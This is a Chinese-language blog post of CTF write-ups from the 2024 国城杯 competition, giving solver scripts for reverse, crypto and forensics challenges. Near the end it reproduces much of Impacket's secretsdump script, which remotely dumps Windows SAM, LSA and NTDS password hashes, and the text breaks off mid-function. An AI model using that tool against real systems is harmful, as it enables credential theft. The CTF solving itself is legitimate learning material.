LUO 一个兴趣使然的人与他兴趣使然的博客

2024.12.国城杯 by F14GThi3f

⚠️ 本文最后更新于2024年12月08日,已经过了152天没有更新,若内容或图片失效,请留言反馈

Team:F14GThi3f

rank:12

Re

Crush's_secret

考smc,下断之后跳过去先u转义再p重构函数,

一个魔改xxtea

key

网上找个脚本改一改就可以

#include <stdio.h>
#include <stdint.h>
#include <string.h>

#define DELTA 1640531527
#define MX (((v11>>5^(y*4)) + (y>>3^(v11*16))) ^ ((v10^y) + (key[(p&3)^e] ^ v11)))

void btea(uint32_t *v, int n, uint32_t const key[4]) {
    uint32_t y, v11, v10;
    unsigned p, rounds, e;

    // 加密
    if (n > 1) {
        rounds = 6 + 52 / n;
        v10 = 0;
        v11 = v[n - 1];
        do {
            v10 -= DELTA;
            e = (v10 >> 2) & 3;
            for (p = 0; p < n - 1; p++) {
                y = v[p + 1];
                v11 = v[p] += MX;
            }
            y = v[0];
            v11 = v[n - 1] += MX;
        } while (--rounds);
    }
    // 解密
    else if (n < -1) {
        n = -n;
        rounds = 6 + 52 / n;
        v10 = rounds * (-DELTA);
        y = v[0];
        do {
            e = (v10 >> 2) & 3;
            for (p = n - 1; p > 0; p--) {
                v11 = v[p - 1];
                y = v[p] -= MX;
            }
            v11 = v[n - 1];
            y = v[0] -= MX;
            v10 += DELTA;
        } while (--rounds);
    }
}

void p_dec_data(uint32_t *data, int len) {
    for (int i = 0; i < len; i++) {
        printf("0x%08X ", data[i]);
    }
    printf("\n");
}

int main() {
    uint32_t data[] = {
        0x5A764F8A, 0x5B0DF77, 0xF101DF69, 0xF9C14EF4, 0x27F03590,
        0x7DF3324F, 0x2E322D74, 0x8F2A09BC, 0xABE2A0D7, 0xC2A09FE, 
        0x35892BB2, 0x53ABBA12
    };
    
    int data_len = sizeof(data) / sizeof(data[0]);

    uint32_t key[] = {0x5201314, 0x52013140, 0x5201314, 0x52013140};

    for (int i = 0; i < data_len; i += 2) {
        printf("\n第 %d 组(%d 和 %d):\n", (i / 2) + 1, i, i + 1);

        btea(&data[i], -2, key);

        p_dec_data(&data[i], 2);

        for (int j = 0; j < 8; j++) {
            printf("%c", ((char*)&data[i])[j]);
        }
        printf("\n");
    }

    return 0;
}
// 第 1 组(0 和 1):
// 0x5F656854 0x646E6977 
// The_wind

// 第 2 组(2 和 3):
// 0x6F74735F 0x615F7370 
// _stops_a

// 第 3 组(4 和 5):
// 0x75615F74 0x6E6D7574 
// t_autumn

// 第 4 组(6 和 7):
// 0x7461775F 0x615F7265
// _water_a

// 第 5 组(8 和 9):
// 0x495F646E 0x6F74735F
// nd_I_sto

// 第 6 组(10 和 11):
// 0x74615F70 0x756F795F
// p_at_you

round

这题是比赛刚结束做出来的,有点可惜了

主逻辑

先去解obj

这里的base64是将每组的第2和第3个字符进行一个换位,所以要换回来再解密

public class test {

    private static final char[] BASE64_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".toCharArray();
    private static final int[] BASE64_INDEX = new int[128];

    static {
        for (int i = 0; i < BASE64_CHARS.length; i++) {
            BASE64_INDEX[BASE64_CHARS[i]] = i;
        }
    }

    private static String restoreSwappedCharacters(String input) {
        StringBuilder sb = new StringBuilder();
        for (int i = 0; i < input.length(); i += 4) {
            char[] chunk = new char[4];
            for (int j = 0; j < 4; j++) {
                if (i + j < input.length()) {
                    chunk[j] = input.charAt(i + j);
                }
            }

            char temp = chunk[1];
            chunk[1] = chunk[2];
            chunk[2] = temp;

            for (char c : chunk) {
                sb.append(c);
            }
        }
        return sb.toString();
    }

    public static String decodeFromBase64(String input) {
        StringBuilder sb = new StringBuilder();
        input = restoreSwappedCharacters(input);

        int length = input.length();
        int padding = 0;

        if (input.endsWith("==")) {
            padding = 2;
            input = input.substring(0, length - 2);
        } else if (input.endsWith("=")) {
            padding = 1;
            input = input.substring(0, length - 1);
        }

        for (int i = 0; i < input.length(); i += 4) {
            int combined = 0;

            for (int j = 0; j < 4; j++) {
                combined <<= 6;
                if (i + j < input.length()) {
                    combined |= BASE64_INDEX[input.charAt(i + j)] & 0x3F;
                }
            }

            for (int j = 0; j < 3; j++) {
                if (i + j < input.length() - padding) {
                    sb.append((char) ((combined >> (16 - j * 8)) & 0xFF));
                }
            }
        }

        return sb.toString();
    }

    public static void main(String[] args) {

        System.out.println(decodeFromBase64("c9m1bRmfY5Wk"));
    }
}
//round_and

接着打obj2

这里已经可以看见obj2是12位的

hook一下round函数第一个参数得到数组

参数1

参数类型:[I

参数值:{924,967,912,973,921,936,916,926,942,963,930,927,912,971,924,961,909,956,896,906,946,991,958,899,900,991,904,981,897,944,908,902,902,1003,906,951,952,995,948,1001,949,900,952,946,906,999,902,955,940,1015,928,1021,937,920,932,942,926,1011,914,943,928,1019,940,1009,989,1004,976,986,994,911,1006,979,980,911,984,901,977,992,988,982,1014,923,1018,967,968,915,964,921,965,1012,968,962,1018,919,1014,971,1020,935,1008,941,1017,968,1012,1022,974,931,962,1023,1008,939,1020,929,1005,988,992,1002,978,959,990,995,996,959,1000,949,993,976,1004,998,806,843,810,791,792,835,788,841,789,804,792,786,810,839,806,795,780,855,768,861,777,824,772,782,830,851,818,783,768,859,780,849,829,780,816,826,770,879,782,819,820,879,824,869,817,768,828,822,790,891,794,807,808,883,804,889,805,788,808,802,794,887,790,811,860,775,848,781,857,872,852,862,878,771,866,863,848,779,860,769,845,892,832,842,882,799,894,835,836,799,840,789,833,880,844,838,838,811,842,887,888,803,884,809,885,836,888,882,842,807,838,891,876,823,864,829,873,856,868,878,862,819,850,879,864,827,876,817,669,684,656,666,674,719,686,659,660,719,664,709,657,672,668,662,694,731,698,647,648,723,644,729,645,692,648,642,698,727,694,651,700,743,688,749,697,648,692,702,654,739,642,703,688,747,700,737,685,668,672,682,658,767,670,675,676,767,680,757,673,656,684,678,742,651,746,727,728,643,724,649,725,740,728,722,746,647,742,731,716,663,704,669,713,760,708,718,766,659,754,719,704,667,716,657,765,716,752,762,706,687,718,755,756,687,760,677,753,704,764,758,726,699,730,743,744,691,740,697,741,724,744,738,730,695,726,747,540,583,528,589,537,552,532,542,558,579,546,543,528,587,540,577,525,572,512,522,562,607,574,515,516,607,520,597,513,560,524,518,518,619,522,567,568,611,564,617,565,516,568,562,522,615,518,571,556,631,544,637,553,536,548,558,542,627,530,559,544,635,556,625,605,620,592,602,610,527,622,595,596,527,600,517,593,608,604,598,630,539,634,583,584,531,580,537,581,628,584,578,634,535,630,587,636,551,624,557,633,584,628,638,590,547,578,639,624,555,636,545,621,604,608,618,594,575,606,611,612,575,616,565,609,592,620,614,422,459,426,407,408,451,404,457,405,420,408,402,426,455,422,411,396,471,384,477,393,440,388,398,446,467,434,399,384,475,396,465,445,396,432,442,386,495,398,435,436,495,440,485,433,384,444,438,406,507,410,423,424,499,420,505,421,404,424,418,410,503,406,427,476,391,464,397,473,488,468,478,494,387,482,479,464,395,476,385,461,508,448,458,498,415,510,451,452,415,456,405,449,496,460,454,454,427,458,503,504,419,500,425,501,452,504,498,458,423,454,507,492,439,480,445,489,472,484,494,478,435,466,495,480,443,492,433,285,300,272,282,290,335,302,275,276,335,280,325,273,288,284,278,310,347,314,263,264,339,260,345,261,308,264,258,314,343,310,267,316,359,304,365,313,264,308,318,270,355,258,319,304,363,316,353,301,284,288,298,274,383,286,291,292,383,296,373,289,272,300,294,358,267,362,343,344,259,340,265,341,356,344,338,362,263,358,347,332,279,320,285,329,376,324,334,382,275,370,335,320,283,332,273,381,332,368,378,322,303,334,371,372,303,376,293,369,320,380,374,342,315,346,359,360,307,356,313,357,340,360,354,346,311,342,363,156,199,144,205,153,168,148,158,174,195,162,159,144,203,156,193,141,188,128,138,178,223,190,131,132,223,136,213,129,176,140,134,134,235,138,183,184,227,180,233,181,132,184,178,138,231,134,187,172,247,160,253,169,152,164,174,158,243,146,175,160,251,172,241,221,236,208,218,226,143,238,211,212,143,216,133,209,224,220,214,246,155,250,199,200,147,196,153,197,244,200,194,250,151,246,203,252,167,240,173,249,200,244,254,206,163,194,255,240,171,252,161,237,220,224,234,210,191,222,227,228,191,232,181,225,208,236,230,38,75,42,23,24,67,20,73,21,36,24,18,42,71,38,27,12,87,0,93,9,56,4,14,62,83,50,15,0,91,12,81,61,12,48,58,2,111,14,51,52,111,56,101,49,0,60,54,22,123,26,39,40,115,36,121,37,20,40,34,26,119,22,43,92,7,80,13,89,104,84,94,110,3,98,95,80,11,92,1,77,124,64,74,114,31,126,67,68,31,72,21,65,112,76,70,70,43,74,119,120,35,116,41,117,68,120,114,74,39,70,123,108,55,96,61,105,88,100,110,94,51,82,111,96,59,108,49}

然后就要进行一个逐位爆破,直到推出加密后的12个字符满足

int[] iArr3 = {352, 646, 752, 882, 65, 0, 122, 0, 0, 7, 350, 360};

因为爆到122后面有俩0,分支很多,所以要求脚本如果当前分支走不到12位就回退一位接着往下爆,大概就是这个思路吧

import string

class Round:
    class Result:
        def __init__(self, num, rip):
            self.num = num
            self.rip = rip

        def get_num(self):
            return self.num

        def get_rip(self):
            return self.rip

    def round(self, iArr, string):
        length = len(string)
        iArr2 = [0] * length
        iArr3 = [352, 646, 752, 882, 65, 0, 122, 0, 0, 7, 350, 360]
        i = 33

        for i2 in range(length):
            charAt = ord(string[i2])
            for i3 in range(32):
                i4 = ((iArr[i] ^ charAt) % 5 + 5) % 5
                if i4 == 0:
                    add = self.add(iArr, charAt, i)
                elif i4 == 1:
                    add = self.sub(iArr, charAt, i)
                elif i4 == 2:
                    add = self.xor(iArr, charAt, i)
                elif i4 == 3:
                    add = self.shl(charAt, i)
                elif i4 == 4:
                    add = self.shr(charAt, i)
                else:
                    add = self.Result(charAt, i)

                charAt = add.get_num()
                i = add.get_rip()

            iArr2[i2] = charAt
            #print(charAt)

        for i5 in range(length):
            if iArr2[i5] != iArr3[i5]:
                return False

        return True

    def add(self, iArr, i, i2):
        i3 = ((i + iArr[i2]) % 1024 + 1024) % 1024
        return self.Result(i3, (i2 + i3) % 1024)

    def sub(self, iArr, i, i2):
        i3 = ((i - iArr[i2]) % 1024 + 1024) % 1024
        return self.Result(i3, (i2 + i3) % 1024)

    def xor(self, iArr, i, i2):
        i3 = (iArr[i2] ^ i) % 1024
        return self.Result(i3, (i2 + i3) % 1024)

    def shl(self, i, i2):
        i3 = (i >> 3) % 1024
        return self.Result(i3, (i2 + i3) % 1024)

    def shr(self, i, i2):
        i3 = (i << 3) % 1024
        return self.Result(i3, (i2 + i3) % 1024)

def brute_force():
    round = Round()
    iArr = [924,967,912,973,921,936,916,926,942,963,930,927,912,971,924,961,909,956,896,906,946,991,958,899,900,991,904,981,897,944,908,902,902,1003,906,951,952,995,948,1001,949,900,952,946,906,999,902,955,940,1015,928,1021,937,920,932,942,926,1011,914,943,928,1019,940,1009,989,1004,976,986,994,911,1006,979,980,911,984,901,977,992,988,982,1014,923,1018,967,968,915,964,921,965,1012,968,962,1018,919,1014,971,1020,935,1008,941,1017,968,1012,1022,974,931,962,1023,1008,939,1020,929,1005,988,992,1002,978,959,990,995,996,959,1000,949,993,976,1004,998,806,843,810,791,792,835,788,841,789,804,792,786,810,839,806,795,780,855,768,861,777,824,772,782,830,851,818,783,768,859,780,849,829,780,816,826,770,879,782,819,820,879,824,869,817,768,828,822,790,891,794,807,808,883,804,889,805,788,808,802,794,887,790,811,860,775,848,781,857,872,852,862,878,771,866,863,848,779,860,769,845,892,832,842,882,799,894,835,836,799,840,789,833,880,844,838,838,811,842,887,888,803,884,809,885,836,888,882,842,807,838,891,876,823,864,829,873,856,868,878,862,819,850,879,864,827,876,817,669,684,656,666,674,719,686,659,660,719,664,709,657,672,668,662,694,731,698,647,648,723,644,729,645,692,648,642,698,727,694,651,700,743,688,749,697,648,692,702,654,739,642,703,688,747,700,737,685,668,672,682,658,767,670,675,676,767,680,757,673,656,684,678,742,651,746,727,728,643,724,649,725,740,728,722,746,647,742,731,716,663,704,669,713,760,708,718,766,659,754,719,704,667,716,657,765,716,752,762,706,687,718,755,756,687,760,677,753,704,764,758,726,699,730,743,744,691,740,697,741,724,744,738,730,695,726,747,540,583,528,589,537,552,532,542,558,579,546,543,528,587,540,577,525,572,512,522,562,607,574,515,516,607,520,597,513,560,524,518,518,619,522,567,568,611,564,617,565,516,568,562,522,615,518,571,556,631,544,637,553,536,548,558,542,627,530,559,544,635,556,625,605,620,592,602,610,527,622,595,596,527,600,517,593,608,604,598,630,539,634,583,584,531,580,537,581,628,584,578,634,535,630,587,636,551,624,557,633,584,628,638,590,547,578,639,624,555,636,545,621,604,608,618,594,575,606,611,612,575,616,565,609,592,620,614,422,459,426,407,408,451,404,457,405,420,408,402,426,455,422,411,396,471,384,477,393,440,388,398,446,467,434,399,384,475,396,465,445,396,432,442,386,495,398,435,436,495,440,485,433,384,444,438,406,507,410,423,424,499,420,505,421,404,424,418,410,503,406,427,476,391,464,397,473,488,468,478,494,387,482,479,464,395,476,385,461,508,448,458,498,415,510,451,452,415,456,405,449,496,460,454,454,427,458,503,504,419,500,425,501,452,504,498,458,423,454,507,492,439,480,445,489,472,484,494,478,435,466,495,480,443,492,433,285,300,272,282,290,335,302,275,276,335,280,325,273,288,284,278,310,347,314,263,264,339,260,345,261,308,264,258,314,343,310,267,316,359,304,365,313,264,308,318,270,355,258,319,304,363,316,353,301,284,288,298,274,383,286,291,292,383,296,373,289,272,300,294,358,267,362,343,344,259,340,265,341,356,344,338,362,263,358,347,332,279,320,285,329,376,324,334,382,275,370,335,320,283,332,273,381,332,368,378,322,303,334,371,372,303,376,293,369,320,380,374,342,315,346,359,360,307,356,313,357,340,360,354,346,311,342,363,156,199,144,205,153,168,148,158,174,195,162,159,144,203,156,193,141,188,128,138,178,223,190,131,132,223,136,213,129,176,140,134,134,235,138,183,184,227,180,233,181,132,184,178,138,231,134,187,172,247,160,253,169,152,164,174,158,243,146,175,160,251,172,241,221,236,208,218,226,143,238,211,212,143,216,133,209,224,220,214,246,155,250,199,200,147,196,153,197,244,200,194,250,151,246,203,252,167,240,173,249,200,244,254,206,163,194,255,240,171,252,161,237,220,224,234,210,191,222,227,228,191,232,181,225,208,236,230,38,75,42,23,24,67,20,73,21,36,24,18,42,71,38,27,12,87,0,93,9,56,4,14,62,83,50,15,0,91,12,81,61,12,48,58,2,111,14,51,52,111,56,101,49,0,60,54,22,123,26,39,40,115,36,121,37,20,40,34,26,119,22,43,92,7,80,13,89,104,84,94,110,3,98,95,80,11,92,1,77,124,64,74,114,31,126,67,68,31,72,21,65,112,76,70,70,43,74,119,120,35,116,41,117,68,120,114,74,39,70,123,108,55,96,61,105,88,100,110,94,51,82,111,96,59,108,49]
    prefix = ""
    target = [352, 646, 752, 882, 65, 0, 122, 0, 0, 7, 350, 360]
    index = len(prefix)
    all_chars = string.ascii_letters + string.digits + "_-"

    while len(prefix) < 12:
        match_found = False

        for char in all_chars:
            guess = prefix + char
            print(f"Trying: {guess}")
            if round.round(iArr, guess):
                print(f"Found: {guess}")
                prefix = guess
                match_found = True
                break

        if not match_found:
            for i in range(len(prefix)-1, -1, -1):
                current_char = prefix[i]
                if current_char != all_chars[-1]:
                    next_char = all_chars[all_chars.index(current_char) + 1]
                    prefix = prefix[:i] + next_char + prefix[i+1:]
                    break
                else:
                    prefix = prefix[:i]
            else:
                break

brute_force()

//Found: _rounD_we_go

拼起来

D0g3xGC{round_and_rounD_we_go}

Crypto

Curve

板子题,

https://ch3mtr4ils.cn/2024/03/05/ECC%E4%B8%AD%E7%9A%84%E5%B8%B8%E8%A7%81%E6%9B%B2%E7%BA%BF/

进行椭圆曲线转换之后将G,gx就是flag

from gmpy2 import *
from Crypto.Util.number import *
p = 64141017538026690847507665744072764126523219720088055136531450296140542176327
a = 362
d = 7
eG = (34120664973166619886120801966861368419497948422807175421202190709822232354059, 11301243831592615312624457443883283529467532390028216735072818875052648928463)
e=0x10001

F=GF(p)
A=(F(2)*F(a+d))/F(a-d)
B=F(4)/F(a-d)
a = F(3-A^2) / F(3*B^2)
b = F(2*A^3-9*A) / F(27*B^3)

def edwards_to_ECC(x,y):
    x1=F(1+y)/F(1-y)
    y1=F(x1)/F(x)
    #爱德华曲线转蒙哥马利曲线
    
    x2=(F(3*x1)+F(A))/F(3*B)
    y2=F(y1)/F(B)
    #蒙哥马利曲线转椭圆曲线
    
    return (x2,y2)

def ECC_to_edwards(x,y):
    x1=(F(x)*F(3*B)-F(A))/F(3)
    y1=F(y)*F(B)
    #椭圆曲线转蒙哥马利曲线,跟上面的反着来就行
    
    x2=F(x1)/F(y1)
    y2=F(x1-1)/F(x1+1)
    #蒙哥马利曲线转爱德华曲线
    
    return (x2,y2)


E = EllipticCurve(GF(p), [a, b])#椭圆曲线
n=E.order()#椭圆曲线的阶
t=invert(e,n)#求e关于n的逆元
eG=edwards_to_ECC(eG[0],eG[1])#爱德华曲线转为椭圆曲线
#E()对点进行了一些处理,使能够进行下面的计算
#print(eG)
eG=E(eG)
#print(eG)
G=t*eG
G=ECC_to_edwards(G[0],G[1])
print(long_to_bytes(int(G[0])))
from Crypto.Util.number import *
print(long_to_bytes(109575618375392265076063333325613815173674044654416362516919165))

EZ_sign

第一步,DSA数字签名的关系k攻击,套脚本解出e

第二步,解C = p^2 + q^2,本来使用sage自带的函数接触后,发现解不出来,发现解出来的p,q不是质数,于是换种方法找到p,q后解rsa

"""from Crypto.Util.number import *
from gmpy2 import *
from libnum import *
(h1, r1, s1) = 659787401883545685817457221852854226644541324571, 334878452864978819061930997065061937449464345411, 282119793273156214497433603026823910474682900640
(h2, r2, s2) = 156467414524100313878421798396433081456201599833, 584114556699509111695337565541829205336940360354, 827371522240921066790477048569787834877112159142
a = 149328490045436942604988875802116489621328828898285420947715311349436861817490291824444921097051302371708542907256342876547658101870212721747647670430302669064864905380294108258544172347364992433926644937979367545128905469215614628012983692577094048505556341118385280805187867314256525730071844236934151633203
b = q = 829396411171540475587755762866203184101195238207
g = 87036604306839610565326489540582721363203007549199721259441400754982765368067012246281187432501490614633302696667034188357108387643921907247964850741525797183732941221335215366182266284004953589251764575162228404140768536534167491117433689878845912406615227673100755350290475167413701005196853054828541680397
y = 97644672217092534422903769459190836176879315123054001151977789291649564201120414036287557280431608390741595834467632108397663276781265601024889217654490419259208919898180195586714790127650244788782155032615116944102113736041131315531765220891253274685646444667344472175149252120261958868249193192444916098238

PR.<x> = PolynomialRing(GF(q))          
f = s2*x^2*r1 - s1*x*r2 - h2*r1 + h1*r2 
hh = f.roots()
print(hh)
k = hh[1][0]
x = (s1*k - h1)*inverse(r1,q)%q
flag = n2s(int(x))
print(flag)"""

e = 44519

"""C = 179093209181929149953346613617854206675976823277412565868079070299728290913658

p,q = two_squares(C)
print(p,q)"""
from Crypto.Util.number import *
C = 179093209181929149953346613617854206675976823277412565868079070299728290913658
from sympy.abc import x, y, t
from sympy.solvers.diophantine.diophantine import diop_quadratic
solve = diop_quadratic(x**2 + y**2 - C, t)
for p, q in solve:
    p, q = int(p), int(q)
    if isPrime(p) and isPrime(q):
        p = p
        q = q
        break
c = 18947793008364154366082991046877977562448549186943043756326365751169362247521
print(isPrime(p),isPrime(q))
e = 44519
n = p*q
phi = (p-1)*(q-1)
d = inverse(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))

babyrsa

成功找到板子

from Crypto.Util.number import *

n = 539403894871945779827202174061302970341082455928364137444962844359039924160163196863639732747261316352083923762760392277536591121706270680734175544093484423564223679628430671167864783270170316881238613070741410367403388936640139281272357761773388084534717028640788227350254140821128908338938211038299089224967666902522698905762169859839320277939509727532793553875254243396522340305880944219886874086251872580220405893975158782585205038779055706441633392356197489
d = 58169755386408729394668831947856757060407423126014928705447058468355548861569452522734305188388017764321018770435192767746145932739423507387500606563617116764196418533748380893094448060562081543927295828007016873588530479985728135015510171217414380395169021607415979109815455365309760152218352878885075237009
c = 82363935080688828403687816407414245190197520763274791336321809938555352729292372511750720874636733170318783864904860402219217916275532026726988967173244517058861515301795651235356589935260088896862597321759820481288634232602161279508285376396160040216717452399727353343286840178630019331762024227868572613111538565515895048015318352044475799556833174329418774012639769680007774968870455333386419199820213165698948819857171366903857477182306178673924861370469175
n = GCD(pow(2,n*d,n)-2,n)
m = pow(c,d,n)
flag = long_to_bytes(m)
print(flag)

Misc

我是真签到

公众号得到flag

Tr4ffIc_w1th_Ste90

可以从流量包中跟踪udp流,按原始数据导出后缀名设置为.ts

可以看到密码

解压缩包后可以得到加密后的图片和加密算发,写爆破解密算法

import numpy as np
import cv2
import sys

def decode(input_image,seed):
    np.random.seed(seed)

    # 读取加密的灰度图像
    to_hide_array = cv2.imread(input_image, cv2.IMREAD_GRAYSCALE)
    rows, cols = to_hide_array.shape
    row_indices = list(range(to_hide_array.shape[0]))
    col_indices = list(range(to_hide_array.shape[1]))
    np.random.shuffle(row_indices)
    np.random.shuffle(col_indices)
    decrypted_array = np.zeros_like(to_hide_array)
    for i in range(rows):
        for j in range(cols):
            # 将加密图像中的像素恢复到原位置
            decrypted_array[row_indices[i], col_indices[j]] = to_hide_array[i, j]
    decrypted_image = cv2.cvtColor(decrypted_array, cv2.COLOR_GRAY2BGR)
    # 生成输出图像的文件名
    output_image = f"decoded_image_seed_{seed}.png"
    
    # 保存解密的图像
    cv2.imwrite(output_image, decrypted_image)
    print(f"Decoded image saved as {output_image}")

def main():
    input_image = "encoded.png"
    
    # 尝试所有可能的种子(从50到70)
    for seed in range(50, 71):
        decode(input_image,seed)

if __name__ == '__main__':
    main()

得到DataMatrix码,解码后得到一句话

I randomly found a word list to encrypt the flag. I only remember that Wikipedia said this word list is similar to the NATO phonetic alphabet.

crumpled chairlift freedom chisel island dashboard crucial kickoff crucial chairlift drifter classroom highchair cranky clamshell edict drainage fallout clamshell chatter chairlift goldfish chopper eyetooth endow chairlift edict eyetooth deadbolt fallout egghead chisel eyetooth cranky crucial deadbolt chatter chisel egghead chisel crumpled eyetooth clamshell deadbolt chatter chopper eyetooth classroom chairlift fallout drainage klaxon

大意是在维基百科上类似北约音标的单词列表,找到一个PGP词汇表

https://zh.wikipedia.org/wiki/PGP%E8%AF%8D%E6%B1%87%E8%A1%A8

找到项目"https://github.com/playGitboy/pgp_decode"

运行得到flag

eZ_Steg0

解压附件 得到三个文件

-a---        2024/10/29     21:02          16440   01.png
-a---         2024/12/5     13:17        2293244   flag
-a---         2024/12/7     11:41         385752   key.zip

01.png 可以用stegsolve或zsteg解 LSB 出一堆 16 进制字符串

但是 cyberchef from hex 没有有效的明文字符

到这没思路了

但是重读了一遍题目描述突然又有灵感了

意思是不只有图片 LSB

那么还有什么LSB呢? wav

而我们将 flag 文件扔进 010 分析 也是一堆无法识别的的字符

但是看右边的预览图 可以发现跟 wav 文件的预览图很像(也可能是我太敏感了)

那么我们假定这是个被加密后的 wav 文件

但是什么加密呢?

首先猜测是 xor

因为xor最好验证也比较常见

而且因为其特性 如果密钥远小于加密文本的话

可以比较容易的反推出密钥

先找一个正确的 wav 文件来做模板

前面RIFF是固定不变的 先将其作为密钥异或文件

可以看到异或出的前4位都是可以打印字符

接着是模板中的 88 50 2F 00

通过模板不能看出 这是文件的字符大小 是WAVE及其后面的所有部分

根据flag文件的实际情况计算出

这个值应该是 2293236 换算成16进制应该是 F4 FD 22 00

加上后面同样不变的 "WAVEfmt " 接着填入key

依然是可打印字符 说明我们思路大致没错

接着是 10 00 00 00

根据模板不难推断出 这个换位10进制是 16 那么指的应该是音频位数 16位恰好是最常见的其一

那么猜测其 flag 也是 将其填入key中

可以看出已经有重复的趋势了

那么xor密钥应该就是 sSeCre7KeY?!!@$

直接用这个异或 flag 文件

虽然还是一堆不可以打印字符 但是可以看到 后面有个 data

这是wav文件结构的一部分 标志存储音频数据的开始

那么我们的 xorkey 大抵是找对了

将其保存下来 可以正常的播放

那么下一步应该就是 LSB 隐写

尝试了多种工具

Silenteye DeepSound StegHide Stegpy wavsteg等等

最终在一个网站找到了神秘脚本

https://nitrozeus.gitbook.io/ctfs/2023/brainhack-cddc-2023/audio-steganography

可以解出正确flag

Just_F0r3n51Cs

解压附件发现是个 E01 文件

用 FTK imager 打开

根据题目提示先在桌面下找到 beginning.pcapng

用 WireShark 打开分析

追TCP流发现藏了个 jpg

提出来保存

010分析在结尾发现有加密字符串

解bash64得到

oursecret is D0g3xGC

那么用 oursecret 对图片用密码提取

得到 hidden.txt

:::info
ECB's key is

N11c3TrYY6666111

记得给我秋秋空间点赞

:::

接着追流 找到几个QQ号

最终在 293519700 这个QQ的空间里找到

flag2:

翻找系统变量时发现一个压缩包和解压密码的提示

当前用户名_计算机当前操作系统的产品名称_火狐版本号(保留一位小数)

这些可以直接在注册中找到

用户名:D0g3xGC

系统 Windows_7

火狐版本号 Ultimate_115.0

拼起来后解压得到flag

D0g3xGC_Windows_7_Ultimate_115.0

flag3:

在 图片文件夹中又找到

那么大抵是要解双图盲水印啥的

打开Original.zip

注释写了密码格式

用户将系统中的 SAM SECURITY SYSTEM 文件提取出来

用这个脚本就能提取出密码

#!/usr/bin/env python
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: Performs various techniques to dump hashes from the
#              remote machine without executing any agent there.
#              For SAM and LSA Secrets (including cached creds)
#              we try to read as much as we can from the registry
#              and then we save the hives in the target system
#              (%SYSTEMROOT%\\Temp dir) and read the rest of the
#              data from there.
#              For NTDS.dit we either:
#                a. Get the domain users list and get its hashes
#                   and Kerberos keys using [MS-DRDS] DRSGetNCChanges()
#                   call, replicating just the attributes we need.
#                b. Extract NTDS.dit via vssadmin executed  with the
#                   smbexec approach.
#                   It's copied on the temp dir and parsed remotely.
#
#              The script initiates the services required for its working
#              if they are not available (e.g. Remote Registry, even if it is
#              disabled). After the work is done, things are restored to the
#              original state.
#
# Author:
#  Alberto Solino (@agsolino)
#
# References: Most of the work done by these guys. I just put all
#             the pieces together, plus some extra magic.
#
# https://github.com/gentilkiwi/kekeo/tree/master/dcsync
# https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html
# https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html
# https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html
# https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13
# https://code.google.com/p/creddump/
# https://lab.mediaservice.net/code/cachedump.rb
# https://insecurety.net/?p=768
# http://www.beginningtoseethelight.org/ntsecurity/index.htm
# https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf
# https://www.passcape.com/index.php?section=blog&cmd=details&id=15
#
from __future__ import division
from __future__ import print_function
import argparse
import codecs
import logging
import os
import sys

from impacket import version
from impacket.examples import logger
from impacket.examples.utils import parse_target
from impacket.smbconnection import SMBConnection

from impacket.examples.secretsdump import LocalOperations, RemoteOperations, SAMHashes, LSASecrets, NTDSHashes
from impacket.krb5.keytab import Keytab
try:
    input = raw_input
except NameError:
    pass

class DumpSecrets:
    def __init__(self, remoteName, username='', password='', domain='', options=None):
        self.__useVSSMethod = options.use_vss
        self.__remoteName = remoteName
        self.__remoteHost = options.target_ip
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__lmhash = ''
        self.__nthash = ''
        self.__aesKey = options.aesKey
        self.__smbConnection = None
        self.__remoteOps = None
        self.__SAMHashes = None
        self.__NTDSHashes = None
        self.__LSASecrets = None
        self.__systemHive = options.system
        self.__bootkey = options.bootkey
        self.__securityHive = options.security
        self.__samHive = options.sam
        self.__ntdsFile = options.ntds
        self.__history = options.history
        self.__noLMHash = True
        self.__isRemote = True
        self.__outputFileName = options.outputfile
        self.__doKerberos = options.k
        self.__justDC = options.just_dc
        self.__justDCNTLM = options.just_dc_ntlm
        self.__justUser = options.just_dc_user
        self.__pwdLastSet = options.pwd_last_set
        self.__printUserStatus= options.user_status
        self.__resumeFileName = options.resumefile
        self.__canProcessSAMLSA = True
        self.__kdcHost = options.dc_ip
        self.__options = options

        if options.hashes is not None:
            self.__lmhash, self.__nthash = options.hashes.split(':')

    def connect(self):
        self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost)
        if self.__doKerberos:
            self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
                                               self.__nthash, self.__aesKey, self.__kdcHost)
        else:
            self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)

    def dump(self):
        try:
            if self.__remoteName.upper() == 'LOCAL' and self.__username == '':
                self.__isRemote = False
                self.__useVSSMethod = True
                if self.__systemHive:
                    localOperations = LocalOperations(self.__systemHive)
                    bootKey = localOperations.getBootKey()
                    if self.__ntdsFile is not None:
                    # Let's grab target's configuration about LM Hashes storage
                        self.__noLMHash = localOperations.checkNoLMHashPolicy()
                else:
                    import binascii
                    bootKey = binascii.unhexlify(self.__bootkey)

            else:
                self.__isRemote = True
                bootKey = None
                try:
                    try:
                        self.connect()
                    except Exception as e:
                        if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True:
                            # SMBConnection failed. That might be because there was no way to log into the
                            # target system. We just have a last resort. Hope we have tickets cached and that they
                            # will work
                            logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
                            pass
                        else:
                            raise

                    self.__remoteOps  = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)
                    self.__remoteOps.setExecMethod(self.__options.exec_method)
                    if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True:
                        self.__remoteOps.enableRegistry()
                        bootKey             = self.__remoteOps.getBootKey()
                        # Let's check whether target system stores LM Hashes
                        self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
                except Exception as e:
